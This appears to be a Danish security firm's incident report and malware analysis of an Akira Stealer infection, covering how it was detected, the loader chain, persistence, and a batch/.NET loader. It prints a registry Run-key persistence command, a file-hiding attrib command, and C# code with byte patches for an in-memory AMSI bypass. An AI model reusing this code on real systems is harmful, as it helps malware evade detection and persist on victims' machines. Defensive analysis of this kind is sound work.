Inde i Akira Stealer: En komplet teknisk analyse af en modulær stealer
Det begyndte med en enkelt Defender-alarm i Microsoft 365. Ingen malware, ingen signaturer, ingen panik. Bare en hvisken i støjen. Det, vi fandt frem til, var måneders tyveri af loginoplysninger, kirurgisk, lydløst og næsten usynligt. Sådan forvandlede vores CSOC et stille signal til en fuldskala indsats. Og gav vores kunde kontrollen tilbage, før de overhovedet vidste, at den var væk.

Prolog
Det begyndte, som så mange moderne angreb gør: stille og roligt. En Defender-alarm med lav konfidens, "Suspicious sequence of exploration activities", dukkede op under onboardingfasen for en ny kunde i vores glueckkanja Cyber Security Operations Center (CSOC).
Der var ingen signaturhits. Ingen malwareklassificering. Ingen reaktion fra realtidsbeskyttelsen. Bare en enkelt adfærdskorrelation i Microsoft 365 Defender, begravet i støjen, og alligevel umiskendeligt forkert.
Under triagen af alarmen var der én bestemt handling, der fangede min opmærksomhed: python.exe havde tilgået både filen Login Data og Web Data inde i en Chromium-profil. Microsoft Defender eskalerede det med det samme til en hændelse med høj alvorlighedsgrad, "Possible theft of passwords and other sensitive web browser information."
Det var ikke en falsk positiv. Det var toppen af noget dybere.
Da jeg sporede telemetrien baglæns, fandt jeg en generisk binærfil i startmappen, Updater.exe, som startede en NodeJS-baseret wrapper (main.exe), der kørte en kommandolinje for at afvikle et script ved navn astor.py via python.exe.
Updater.exe → main.exe → cmd.exe → python.exe Crypto\Util\astor.py
Scriptet skrabede ikke bare loginoplysninger, det udførte en række rekognosceringstrin efter kompromitteringen, heriblandt registry-forespørgsler, systemfingeraftryk og privilegiebevidst optælling. Det arbejdede med kirurgisk præcision og efterlignede systemets egen adfærd for at undgå detektion. Og det virkede, næsten.
På tidspunktet for den første indsats:
Updater.exeblev flagget af blot 1 ud af 69 engines på VirusTotal.main.exe,astor.pyog alle tilhørende komponenter blev stort set ikke flagget på VirusTotal.- Ingen filer var signerede. Ingen forhøjet kontekst. Bare "almindelige" processer, der gjorde meget ualmindelige ting.
Updater.exe rørte ikke loginoplysningerne. Den opgave var reserveret til astor.py, den hukommelsesbaserede Python-payload, en fil der efter design næsten ikke efterlod spor.
Inden for 21 minutter blev det berørte system isoleret fra netværket. Inden for 70 minutter var loginoplysningerne roteret på tværs af alle berørte områder: interne identiteter, SaaS-platforme, tredjepartstjenester.
Men det egentlige vendepunkt kom, da vi udtrak og dekrypterede Python-payloaden fuldstændigt. Det, vi fandt, var ikke en generisk stealer, det var en skræddersyet udrulning af Akira Stealer v2, en kommercielt distribueret malwarefamilie, der sælges via Telegram.
Takket være vores interne threat intelligence og reverse engineering-kompetencer kunne vi rekonstruere malwarens fulde funktionalitet, udtrække alle indlejrede indikatorer og forstå dens logik for staging, eksfiltrering og udvælgelse af loginoplysninger i detaljer.
Endnu vigtigere: vi stoppede ikke ved den tekniske attribuering. Vi gik videre.
Vi kunne give kunden et komplet datasæt over eksfiltrerede loginoplysninger: over 100 unikke kombinationer af brugernavn og adgangskode, inklusive adgang til cloudtjenester, CRM-systemer, interne platforme og endda personlige værktøjer brugt af nøglemedarbejdere. Tyveriet havde stået på i måneder, og vi kunne gøre rede for det hele.
Med indsigterne fra denne sag byggede vi et analyseværktøj til efterforløbet af en infektion, som scanner berørte systemer, rekonstruerer mønstrene for adgang til loginoplysninger og genererer detaljerede forensiske rapporter, der kortlægger præcis hvad der blev stjålet, hvornår og hvorfra.
Vi giver et indblik i den scanner til sidst i denne rapport.
For det her er mere end bare en hændelse. Sådan efterforsker vi. Sådan beskytter vi.
Velkommen til glueckkanja CSOC.
Sådan arbejder vi, for sikkerhedsbrud venter ikke.
1. Den første hændelse og triage-sammenfatning
Den 31. marts 2025 genererede Microsoft Defender for Endpoint en alarm med betegnelsen "Suspicious sequence of exploration activities" på en 64-bit Windows 10-endpoint. Jeg indledte triagen ud fra dette signal og gennemgik det berørte system ved hjælp af procestræet, systemets tidslinje og de beviser, Defender havde korreleret.
1.1 Tidslinjebaseret triage
Alarmen pegede på en række processer, der krævede nærmere inspektion. Under den første gennemgang observerede jeg følgende adgangsmønstre til Chrome-browserdata i den lokale brugerprofil:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data
Disse adgange blev initieret af en proces ved navn Updater.exe. Selvom Microsoft Defender ikke havde flagget binærfilen på baggrund af heuristisk eller adfærdsmæssig analyse, fandt jeg en detektion af Updater.exe på VirusTotal, flagget af en enkelt engine på det tidspunkt.

Hele den observerede eksekveringskæde så sådan ud:
winlogon.exe
└── userinit.exe
└── explorer.exe
└── Updater.exe
└── main.exe
└── cmd.exe /d /s /c "python.exe Crypto\Util\astor.py"
└── python.exe Crypto\Util\astor.py
På det tidspunkt var der ikke foretaget nogen dybere statisk eller dynamisk analyse af de involverede filer. Mit fokus lå på at forstå adfærden og konteksten på et overordnet niveau. Procesnavne og filstier var generiske, og der var ingen mistænkelige kommandolinjeargumenter ud over den kædede Python-eksekvering.
1.2 Den første indsats
Inden for 21 minutter efter den første alarm igangsatte jeg isolering af hosten med isoleringsfunktionerne i Defender for Endpoint. Formålet var at forhindre yderligere spredning eller eksfiltrering.
Inden for de første 70 minutter gik vi videre med at rotere de loginoplysninger, vi vidste blev brugt på den berørte host, hvilket dækkede interne systemer, SaaS-platforme og kritiske tredjepartsleverandører.
Reverse engineering-arbejdet begyndte efter den første inddæmning. De følgende afsnit dokumenterer den tekniske fordybelse, der fulgte for at efterforske sikkerhedsbruddet.
1.3 Sammenfatning af indsatsen: hurtig, transparent, effektdrevet
Vores indsats kombinerede hastighed, ekspertise og operationel styrke, understøttet af gennemprøvede arbejdsgange og fuld indsigt for kunden.
- Fra detektion til fuld inddæmning på under 90 minutter Defender-alarmer, netværksisolering, antivirusscanning og tilbagekaldelse af loginoplysninger blev udført hurtigt og koordineret.
- Dybdegående forensisk indsats inden for 48 timer Inklusive fuld disk- og hukommelsesanalyse, gennemgang af browserartefakter, detektion af credential dumping og adfærdsmæssig rekonstruktion af angriberens aktivitet.
- Sikker datagendannelse og bevishåndtering De stjålne data, herunder cookies, adgangskoder, tokens og browserprofiler, blev gendannet, arkiveret forensisk og overleveret sikkert til kunden.
- Indsigt og kommunikation hele vejen igennem Hvert skridt, fra første alarm til afhjælpning og debriefing, blev dokumenteret fuldt ud, delt i realtid og sammenfattet i en struktureret CSIRT-overdragelse.
Denne hændelse viser, hvordan glueckkanja CSOC ikke bare stopper malware, vi demonterer dens virkninger, giver vores kunder kontrollen tilbage og forvandler enhver hændelse til indsigt.
2. Malwarens arkitektur og eksekveringskæde
Den malware, der blev observeret på den berørte endpoint, fulgte en struktureret arkitektur i flere trin med en klar ansvarsfordeling: udrulning, afkodning, eksekvering og dataeksfiltrering.
2.1 Overblik over eksekveringskæden
Det observerede eksekveringsflow så sådan ud:
Updater.exe
└── main.exe
└── cmd.exe
└── python.exe astor.py
Hver komponent i kæden bidrog til stealth, modularitet og omgåelse. Arkitekturen udnyttede legitime runtimes og operativsystemets standardfortolkere til at omgå detektionsmekanismerne.
2.1.1 Usikkert ophav: den manglende initiale vektor
Trods en omfattende analyse af miljøet efter kompromitteringen kunne den initiale adgangsvektor ikke fastslås med sikkerhed. Usikkerheden skyldes først og fremmest, at malwaren havde været aktiv i anslået seks måneder, før den blev opdaget, hvilket overstiger den logopbevaringsperiode, Microsoft Defender for Endpoint håndhæver.
Derfor var der ingen telemetri eller forensiske artefakter tilgængelige fra det oprindelige infektionstidspunkt. Hverken de oprindelige procesoprettelseshændelser, fildrops eller kommandolinjeposter fra leveringsfasen kunne genskabes fra Defenders tidslinje eller tilknyttede sensorer.
Ud fra kontekstuelle indikatorer og OSINT-kilder kan en sandsynlig infektionsvektor have involveret:
- Trojaniserede installationsprogrammer til cracket eller moddet spilsoftware
- Falske værktøjer eller "performance boosters" distribueret via fora og tredjepartssider
- Ondsindede browserudvidelser rettet mod bestemte brugerinteresser (for eksempel kryptorelaterede værktøjer eller Discord-udvidelser)
Det forbliver dog spekulationer.
Der kunne ikke identificeres nogen bekræftet dropper, phishingmail eller kompromitteret hjemmeside under efterforskningen. Selvom malwarens arkitektur og eksekveringskæde blev rekonstrueret fuldstændigt, kunne det oprindelige kompromitteringspunkt (MITRE ATT&CK T1190 / T1566) ikke valideres.
2.1.2 Updater.exe – initial loader
Da jeg gennemgik procestræet i Microsoft 365 Defender, skilte Updater.exe sig ud med det samme, ikke på grund af hvad den gjorde, men på grund af hvor stille den havde indlejret sig i systemets eksekveringsflow.
Binærfilen var registreret til automatisk kørsel via Windows' standard Run-nøgle:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Det betød, at den ville starte, hver gang brugeren loggede ind i sin session, en klassisk persistensmekanisme, der ikke kræver forhøjede rettigheder og ofte glider ubemærket gennem EDR-telemetrien.
- Filtype: Windows PE-eksekverbar fil (32-bit)
- Signatur: Usigneret
- VirusTotal-detektion: 1 ud af 69 engines på triagetidspunktet
- Eksekveringskontekst: Medium integritet, brugersession
- Placering:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Selve filen var lille, rent kompileret og ubemærkelsesværdig ud fra en statisk analyse. Ingen mistænkelige strenge, ingen krypterede sektioner og ingen tegn på obfuskering eller packing. Den importerede kun et minimalt sæt af Windows' standard-API-funktioner og indeholdt ingen indlejret payload.
Dens adfærd var til gengæld mere sigende. Så snart den var startet, udpakkede Updater.exe en Electron-applikation fra et medfølgende arkiv, en selvstændig NodeJS-runtime pakket med standardværktøjerne til Electron. Den udpakkede mappe indeholdt en eksekverbar fil ved navn main.exe, som derefter blev startet som en underproces.
Updater.exe → main.exe
Der var ingen netværksindikatorer på dette tidspunkt, ingen procesinjektion og ingen afvigelser i rettigheder eller tokenforhøjelse. Hele rollen for Updater.exe så ud til at være loaderens: at levere en andentrinskomponent (main.exe) ind i miljøet, sandsynligvis med det formål at bevare stealth og modularitet.
Den slags arkitektonisk opdeling er udbredt i moderne masseproduceret malware og stealer-værktøjskasser. Den initiale loader fungerer blot som en udrulningsstub, så den tungere logik, der ofte er obfuskeret, fortolket eller dynamisk genereret, kan ligge i senere trin.
I dette tilfælde tjente Updater.exe præcis det formål: et stille, indledende fodfæste bygget til at gå i ét med omgivelserne, forblive uopdaget og bane vejen for eksekveringen af den egentlige stealer-logik i main.exe og til sidst astor.py.
Den rørte ikke filsystemet ud over sin egen mappe og udløste ingen adfærdsregler, og alligevel var den den første brik, der væltede i en lang og omhyggeligt konstrueret angrebskæde.
2.1.3 main.exe – obfuskeret NodeJS-payloadbeholder
Efter eksekveringen af Updater.exe blev en andentrinsbinær ved navn main.exe startet. Komponenten fremstod som en helt almindelig Electron-applikation, et runtime-miljø der samler Node.js og Chromium og ofte bruges til desktopapps på tværs af platforme. Dens uskyldige karakter er en del af det, der gør den så farlig i de forkerte hænder.
Ved nærmere inspektion indeholdt main.exe et internt arkiv ved navn app.asar, standardformatet til pakning af Electron-baserede applikationer. Til forskel fra legitime Electron-apps var indholdet af dette arkiv dog alt andet end almindeligt.
- Platform: Electron (Node.js + Chromium)
- Arkitektur: 64-bit Windows
- Indholdsstruktur: Indlejrede JavaScript-filer i
app.asar - Obfuskeringsniveau: Højt, opnået med
js-confuser, en kommercielt tilgængelig obfuskeringsværktøjskasse til JavaScript
Da den var dekompileret og deobfuskeret, blev kernelogikken i main.exe tydelig. Formålet var ikke at vise en brugerflade eller køre frontendlogik, den fungerede derimod som en skjult eksekveringsorkestrator.
Observeret adfærd:
- Dekrypterer og rekonstruerer en Base64-kodet PowerShell-kommando, der er gemt i JavaScript-payloaden
- Starter
cmd.exefor at køre PowerShell-kommandoen inline - PowerShell-kommandoen kalder til gengæld
python.exeog sender et script med, der ligger under en tilsyneladende harmløs mappestruktur (Crypto\Util\astor.py)
main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\Util\astor.py
Kædningen gjorde det muligt for angriberen at skifte eksekveringskontekst og undgå ligefrem detektion. Fordi payloaden var obfuskeret og staged i hukommelsen, var traditionelle signaturbaserede kontroller virkningsløse.
Electron-frameworket leverede den ideelle dækhistorie, det tillod eksekvering af vilkårlig JavaScript uden at tiltrække opmærksomhed. JavaScript-baseret eksekvering gav desuden kompatibilitet på tværs af platforme, hvilket muliggjorde fleksibel udrulning og lettere integration af dynamisk styringslogik.
Det, der gjorde main.exe særligt farlig, var evnen til at arbejde uden at droppe flere filer end dem, der allerede var staged. Stealer-scriptet blev kaldt direkte fra disk, men al staging- og eksekveringslogik forblev indlejret i Electron-bundtet.
Kort sagt fungerede main.exe som den obfuskerede eksekveringskerne i flere lag, som portvagt mellem den initiale persistens og den fulde aktivering af Akira Stealer-payloaden i astor.py.
2.1.4 cmd.exe og PowerShell-relæ
Dette trin i eksekveringskæden fungerede som et relæ, ikke for payloadlogik, men for obfuskering og indirekte kald.
Efter at main.exe havde afsluttet sin rolle med at udpakke og afkode payloaden, startede den en cmd.exe-proces. Processen indeholdt ikke selv nogen ondsindet logik, og den hverken skrev eller ændrede filer. Dens eneste formål var at fungere som wrapper omkring en PowerShell-session med en kodet kommando.
Metoden er en velkendt taktik, der bruges til at reducere synlighed og undgå detektion:
- Eksekveringskæde:
main.exe → cmd.exe /d /s /c "powershell -EncodedCommand <Base64Payload>" - Formål:
- Indkapsler PowerShell-eksekveringen i endnu en shell
- Skjuler den egentlige PowerShell-kode fra direkte synlighed i logfilerne
- Omgår EDR-løsninger, der udløses af direkte brug af
powershell.exemed mistænkelige parametre
Ved at indlejre PowerShell-scriptet som en Base64-kodet streng og kalde det gennem cmd.exe undgik angriberen flere former for detektion:
- Heuristiske filtre på kommandolinjen
- Standardlogning (for eksempel Event ID 4104, 4688)
- Regelbaserede detektioner af
powershell.exe-argumenter som-NoProfile,-ExecutionPolicy Bypasseller inline-scripts
Bemærkelsesværdigt nok blev PowerShell-kommandoen holdt minimal og alene rettet mod at starte python.exe med en sti til det indlejrede stealer-script, astor.py. Der blev ikke indlæst yderligere moduler, og der var ingen tydelige signaturer i hukommelsen.
Relæteknikken bruges både i red teaming og af avancerede infostealere, som et let omgåelseslag der er nemt at implementere, men svært at fange uden korrelation af telemetri.
I dette tilfælde tjente cmd.exe præcis det formål: en simpel, lydløs bro mellem JavaScript-logik og Python-eksekvering, en der næsten slap ubemærket igennem.
2.1.5 python.exe med astor.py
Det sidste og mest virkningsfulde trin i eksekveringskæden blev nået, da python.exe kaldte astor.py, en Python-baseret, modulær infostealer der udelukkende arbejder i hukommelsen. Scriptet udgjorde den operationelle kerne i hele angrebskæden.
Til forskel fra mange masseproducerede stealere blev astor.py ikke udrullet i klartekst. Den var beskyttet af en dekrypteringsmekanisme i flere lag:
- Dekrypteringsstak: Filen blev først GZIP-komprimeret og derefter krypteret med AES-256-CBC.
- Nøgleafledning: Der blev brugt en PBKDF2-baseret nøgleafledning (SHA-512, 1.000.000 iterationer), hvilket gør statisk analyse og brute force yderst upraktisk.
Når scriptet først var dekrypteret ved kørsel, eksekverede det flere specialiserede moduler, alle rettet mod følsomme datakilder:
Kernefunktioner
- Udtræk af browserdata: Hentede loginoplysninger, cookies og autofyld-data fra Chromium-baserede browsere (Chrome, Edge, Brave, Opera)
- Indsamling af tokens: Samlede sessionstokens, især fra Discord, og ledte efter udvidelser til kryptovalutawallets
- Datapakning: Samlede alle indsamlede data i et struktureret ZIP-arkiv og bevarede mappe- og filkonteksten, så angriberen kunne parse dem
- Eksfiltrering: Uploadede det færdige arkiv til offentlige API'er og infrastruktur.
Eksekveringskontekst
Hele stealer-logikken kørte fra hukommelsen, uden at skrive persistente filer til disk. Den efterlod minimale telemetrispor ud over artefakter i proceshukommelsen og helt almindelige kald af underprocesser. Der blev ikke gjort forsøg på at etablere persistens i dette trin, målet var hurtigt, effektivt og lydløst datatyveri.
Brugen af legitime API'er til eksfiltrering gjorde det også betydeligt sværere at opdage og forhindre, fordi den udgående trafik gik i ét med helt almindelig internetaktivitet.
Dette trin bekræftede endeligt malwarens identitet: en variant af Akira Stealer v2, kendt for sin:
- Høje modularitet
- Obfuskering ved kørsel
- Kommercielle distribution via Telegram
- Stærke fokus på indsamling af loginoplysninger og tokenbaseret sessionskapring
Sammen med de tidligere trin udgjorde astor.py det kritiske endepunkt i en lydløs og velkonstrueret infostealer-kæde. I de følgende afsnit dissekerer vi komponenten yderligere og forklarer, hvordan vi reverse engineerede dens logik, kortlagde dens infrastruktur og genskabte hver eneste kompromitteringsindikator, den brugte undervejs.
3. Deep Dive: Updater.exe
Updater.exe var den første binærfil, vi observerede under analysen efter kompromitteringen. Trods sit neutrale udseende og forsvindende lille detektionsaftryk spillede den en afgørende rolle i at opretholde malwarens operationelle persistens og levere payloaden til næste trin.
3.1 Egenskaber
| Egenskab | Værdi |
|---|---|
| Format: | Windows Portable Executable (PE32) |
| Arkitektur: | x86-64 |
| Størrelse: | ~154 KB |
| Entropi: | Normal (ikke packed) |
| Signaturer: | Ingen |
| VirusTotal-detektion: | 1/69 på analysetidspunktet |
Filen havde en ren importtabel og ingen indlejrede strengindikatorer. Der blev ikke fundet kendte packers, crypters eller mekanismer til obfuskering ved kørsel. Strukturen svarede til specialkompilerede binærfiler.
3.2 Adfærdsanalyse
Ingen brugerinteraktion nødvendig
Malwarekæden kørte, uden at brugeren behøvede at foretage sig noget. Ud fra Defenders procestelemetri blev den første binærfil (Updater.exe) startet automatisk, efter al sandsynlighed via en persistensmekanisme som en autorun-nøgle i registry. På grund af kompromitteringens alder og de manglende historiske hændelseslogfiler kunne den præcise persistensmetode dog ikke genskabes.
Lydløs eksekvering og staging
Ved kørsel startede Updater.exe straks main.exe uden noget synligt vindue og uden dialoger til brugeren. Staging skete lydløst i baggrunden. Der var intet spor af samtykkedialoger, UAC-prompter eller grafiske komponenter.
Adfærd ved udrulning af payload
main.exe viste sig at være en del af en Electron-applikationsstruktur, men det præcise ophav for udrulningen er stadig uklart. Et af følgende antages:
- Payloaden kan have været pakket internt i
Updater.exe(for eksempel som en indlejret ressource), eller - den kan være hentet fra en ekstern kilde
Uden netværkstelemetri og uden nogen genfundet hardkodet URL forbliver leveringsvektoren for Electron-appen uafklaret.
Adfærd i proceskæden
Når Updater.exe først var kørt, startede den main.exe som underproces. Kaldet var ikke-interaktivt, og ingen af processerne i kæden viste aktivitet i brugerfladen. Proceskæden fortsatte som forventet:
Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py
Alle eksekveringstrin fungerede uden at kræve input fra brugeren og byggede udelukkende på forudkonfigureret startlogik og lydløse eksekveringsveje. Det minimerede eksponeringen og hjalp malwaren med at forblive uopdaget i en længere periode.
3.3 Rollen i infektionskæden
Updater.exe spillede én enkelt, men helt central rolle i den bredere infektionskæde: den stod for persistensen og genudrulningen af trin 2-komponenten, main.exe.
Bekræftede kendetegn
- Den indeholdt eller kørte ikke ondsindet logik direkte
- Den udførte ingen dataeksfiltrering
- Den interagerede ikke med browserens credential stores eller følsomme brugerdata
Dens eneste formål var lydløst at starte main.exe, når brugeren loggede ind, og den mest sandsynlige persistensmetode var en autorun-post i registry (selvom den ikke blev genfundet direkte på grund af begrænsninger i telemetrien).
Ved at fungere som en isoleret loader i første trin sikrede Updater.exe, at selve stealer-payloaden (astor.py) forblev skjult i dybere eksekveringslag. Denne opdeling af opgaver gjorde det muligt for angriberne at:
- Undgå korrelation fra statisk AV eller sandkassesystemer
- Udskifte eller opdatere payloads uden at ændre loaderen
- Reducere adfærdssignalerne ved indgangspunktet
Mønstret er typisk for malware-as-a-service (MaaS)-operationer, hvor leveringsmekanismerne er generiske, og payloads er modulære eller kundespecifikke.
I dette tilfælde leverede Updater.exe præcis nok logik til at fungere som et pålideligt og lydløst indgangspunkt: ikke mere, men heller ikke mindre.
3.4 Persistens via registry (bekræftet i astor.py)
Statisk analyse af Python-payloaden viste, at Updater.exe udtrykkeligt gøres persistent med en autorun-post i registry:
- Registry-sti:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Værdinavn:
Realtek Audio - Payload-sti:
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
Den tilhørende registry-kommando køres via PowerShell:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Realtek Audio" /t REG_SZ /d "...\Updater.exe" /f
Det sikrer, at malwaren startes ved hvert brugerlogin. Filen markeres desuden med attributterne hidden og system for yderligere at undgå detektion:
attrib +h +s "Updater.exe"
Denne persistensmekanisme var indlejret direkte i astor.py-koden, hvilket bekræfter, at stealeren i sidste trin aktivt holder loaderen til stede på disken og i startup-delen af registry.
3.5 Sammenfatning
Selvom
Updater.exeikke i sig selv var ondsindet i struktur eller indhold, bekræftede dens adfærd i konteksten af eksekveringskæden rollen som malware loader.
Binærfilen fungerede som en ren, minimalistisk launcher i første trin, der undgik detektion fra statisk analyse, AV-engines og adfærdsregler. Designet var udelukkende rettet mod stealth og operationel understøttelse, ikke mod selv at køre ondsindet logik.
Dens rolle rakte dog videre end den indledende udrulning. Under reverse engineering af astor.py-payloaden fandt vi logik, der aktivt kontrollerede, om Updater.exe var til stede. Kontrollen var en del af en bredere health- og self-healing-cyklus i stealer-koden, en mekanisme bygget til at verificere infektionskædens integritet og genskabe manglende komponenter efter behov.
Det betyder, at Updater.exe ikke kun stod for at sætte malwaren i gang, men også indgik i dens løbende validering ved kørsel. Uden denne stub kunne malwaren miste evnen til at initialisere sig selv igen i fremtidige sessioner.
Centrale funktioner i Updater.exe:
- Gnidningsfri udrulning af
main.exe - Indirekte eksekvering af
astor.py - Afkobling af loader- og payloadlogik
- Refereret af payloaden selv som en del af den operationelle health-overvågning
I afsnit 5 gennemgår vi stealerens interne health check-rutiner i detaljer, herunder dens self-healing-adfærd og mekanismer til integritetsvalidering.
Indtil videre står det klart, at Updater.exe fungerede som både tændrør og ankerpunkt i denne lagdelte infostealer-arkitektur.
3.6 Et udtrækstrick: at overliste loaderen
Nogle gange kommer de bedste resultater inden for reverse engineering ikke fra dyb disassemblering af binærfiler, men fra en smule snuhed og tålmodighed.
Da vi analyserede infektionen i et kontrolleret labmiljø, bed vi mærke i noget mærkeligt: Updater.exe var til stede og kørte, men main.exe var forsvundet fra filsystemet. Så fik vi en idé: hvad sker der, hvis vi lader malwaren reparere sig selv?
Vi slettede bevidst main.exe fra det inficerede miljø og lod Updater.exe være urørt. Og ganske rigtigt, efter næste login i brugersessionen gik loaderen i gang, ikke med et raserianfald, men med et stille forsøg på at genopbygge sit andet trin.
Her blev det interessant: i stedet for direkte at genskabe main.exe droppede Updater.exe først en fil ved navn app-64.7z, et ganske almindeligt 7-Zip-arkiv. Arkivet indeholdt hele Electron-applikationsstrukturen, herunder main.exe, resources og app.asar-payloaden med al indlejret logik.
Vi havde i praksis tvunget malwaren til at række os kildepakken.

Med 7z-arkivet i hånden kunne vi udtrække, dekomprimere og reverse engineere hele den JavaScript-baserede orkestreringslogik uden overhovedet at røre den oprindelige loader igen. Arkivstrukturen svarede præcist til det forventede layout for en Electron-app.
Adfærden peger stærkt på, at angriberne bevidst valgte en modulær arkitektur, der er til at vedligeholde, og brugte arkiver som fleksible payloadbeholdere. Det gjorde det også muligt for dem at udskifte eller opdatere payloadkomponenter uden at kompilere loader-binærfilen igen.
Og i vores tilfælde? Det gjorde det muligt at overliste deres kæde, opsnappe droppet og gå derfra med hele pakken, som at stjæle tegningerne fra høvlebænken, mens håndværkeren kiggede den anden vej.
Lad os bare sige det sådan: nogle gange er de bedste forensiske værktøjer del, wait og en smule nysgerrighed.
4. Deep Dive: pow.bat
I den analyserede malwarekampagne fungerer komponenten Invoke-SharpLoader som en specialbygget, hukommelsesresident .NET-loader med et stærkt modulært og undvigende eksekveringsflow. Dette afsnit dissekerer dens interne arkitektur, dens anti-analysestrategi via AMSI-patching og dens rolle i at bane vejen for payloaden i andet trin.
4.1 Binære egenskaber – SharpLoader Batch Wrapper
Før den køres for at indlæse .NET-payloaden i hukommelsen, har den ydre wrapper pow.bat følgende kendetegn ifølge den statiske analyse:
| Egenskab | Værdi |
|---|---|
| Format: | DOS-batchfil |
| Arkitektur: | Scriptbaseret (ikke kompileret binærfil) |
| Filstørrelse: | 27.79 KB (28454 bytes) |
| Entropi: | Normal (ren ASCII-tekst) |
| Magic: | DOS batch file, ASCII text |
| Digital signatur: | Ingen fundet |
| VirusTotal-detektion: | 26 / 61 (på analysetidspunktet) |
| Trusselslabels: | trojan, downloader, powershell, agentb |
Selvom der bare er tale om en .bat-fil, undgår scriptet mange statiske detektioner og læner sig kraftigt op ad living-off-the-land-teknikker som PowerShell til at hente og køre obfuskerede og krypterede payloads.
4.2 AMSI Bypass-teknik (klassen gofor4msi)
En af de første forsvarsmekanismer, SharpLoader omgår, er AMSI, Anti-Malware Scan Interface, en Microsoft-funktion der er integreret i scriptmotorer som PowerShell og Windows Script Host for at scanne indhold i realtid for mistænkelig adfærd. Malwareudviklere forsøger ofte at omgå AMSI for at undgå detektion fra endpoint-beskyttelsessystemer.
I SharpLoader implementeres AMSI-omgåelsen gennem direkte patching i hukommelsen af funktionen AmsiScanBuffer i amsi.dll. Funktionen står normalt for at analysere scriptindhold og returnere en resultatkode, der angiver, om indholdet er mistænkeligt (AMSI_RESULT_DETECTED) eller sikkert (AMSI_RESULT_CLEAN).
Den relevante kode til patching i hukommelsen er:
var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);
Sekvensen udfører følgende trin:
- Indlæs AMSI-DLL'en i processen med
LoadLibrary("amsi.dll"). - Slå hukommelsesadressen op for funktionen
AmsiScanBufferviaGetProcAddress(). - Ændr hukommelsesbeskyttelsen for adressen med
VirtualProtect(), så den bliver skrivbar. - Overskriv begyndelsen af funktionen med
Marshal.Copy()og en lille shellcode-patch.
Den patch, der anvendes på 64-bit-systemer, er:
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret
Det svarer til følgende instruktioner:
mov eax, 0x80070057→ sætter returkoden til Windows-fejlkodenE_INVALIDARGret→ returnerer omgående fra funktionen
Det får i praksis AmsiScanBuffer til at fejle lydløst og returnere et resultat uden detektion, hvilket neutraliserer AMSI-kontrollerne. Malwaren kan nu køre scripts eller .NET-kode, der ellers ville udløse antivirusalarmer.
Køres koden på et 32-bit-system, anvendes en anden patch:
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18
Formålet er det samme, at fremtvinge et rent resultat, men tilpasset x86-kaldekonventionen.
Brugen af rå P/Invoke-kald som LoadLibrary, GetProcAddress og VirtualProtect gør, at patchingen kan foregå dynamisk og uden at kalde højniveau-API'er, som EDR-værktøjer kunne overvåge. Metoden er kompakt, effektiv og efterlader minimale forensiske artefakter.
Kort sagt er denne AMSI-omgåelse et lavniveauangreb rettet direkte mod antivirus-grænsefladen i hukommelsen, udført på millisekunder under kørsel. Det er et stærkt eksempel på, hvorfor adfærdsovervågning og inspektion af hukommelsen er afgørende i moderne endpoint-forsvar.
4.3 Håndtering af payloaden i trin 2
Når AMSI-omgåelsen er gennemført, går loaderen videre med at hente og klargøre payloaden til andet trin. Payloaden er ikke indlejret i selve loaderen, men hentes enten fra en fjernserver eller læses fra disk, afhængigt af hvordan loaderen kaldes via parameteren $location.
Begynder placeringen med http, tolkes den som en URL, og loaderen bruger Get_Stage2() til at hente payloaden via HttpWebRequest. Er der tale om en lokal sti, læser Get_Stage2disk() indholdet direkte fra filsystemet. I begge tilfælde er det forventede filindhold en blob, der er Base64-kodet, GZip-komprimeret og AES-krypteret.
Loaderen kører derefter en afkodnings- og dekrypteringspipeline i fire trin, udelukkende i hukommelsen:
- Base64-afkodning: Konverterer den kodede streng til rå bytes. Trinnet er lavet for at skjule det egentlige binære indhold for statiske inspektionsværktøjer og forhindre ligefrem mønstergenkendelse.
- GZip-dekomprimering: De afkodede bytes sendes til en
GZipStream, der pakker payloaden ud. Komprimeringen mindsker filstørrelsen og lægger endnu et lag obfuskering til. - AES-dekryptering: De komprimerede bytes dekrypteres med AES (Rijndael) i CBC-tilstand. Nøglen afledes ved kørsel af den adgangskode, brugeren angiver, via SHA-256-hashing kombineret med PBKDF2 (
Rfc2898DeriveBytes) og et statisk salt. - Fjernelse af salt: Det dekrypterede resultat indeholder stadig et salt-præfiks med fast længde (4 bytes). De bytes fjernes manuelt for at få den rene binære blob, der udgør en gyldig .NET-assembly.
Dekrypteringspipelinen kører sådan her:
byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);
Her er AES_Decrypt() en specialbygget funktion, der indkapsler Rijndael-algoritmen, konfigureret med en 256-bit nøgle og en 128-bit IV (initialiseringsvektor), begge afledt af adgangskoden.
Centrale observationer om designet:
- Brugen af AES-CBC med PBKDF2 gør det alt andet end trivielt at brute force adgangskoden.
- Fordi dekrypteringen sker i hukommelsen, skrives ingen mellemresultater nogensinde til disk, hvilket reducerer de forensiske artefakter.
- Angives den forkerte adgangskode, fejler dekrypteringen lydløst eller producerer ugyldige data, hvilket kan føre til mislykket eksekvering eller svært sporbare exceptions.
Kort sagt hæver denne flertrinshåndtering af payloaden barren betydeligt for både signatur- og heuristikbaseret statisk detektion. Uden enten live-eksekvering eller en dybdegående undersøgelse af loaderens adfærd er det usandsynligt, at forsvarere afdækker den indlejrede payload, medmindre de også kender adgangskoden og den præcise afkodningslogik.
4.4 Dynamisk indlæsning af assemblies
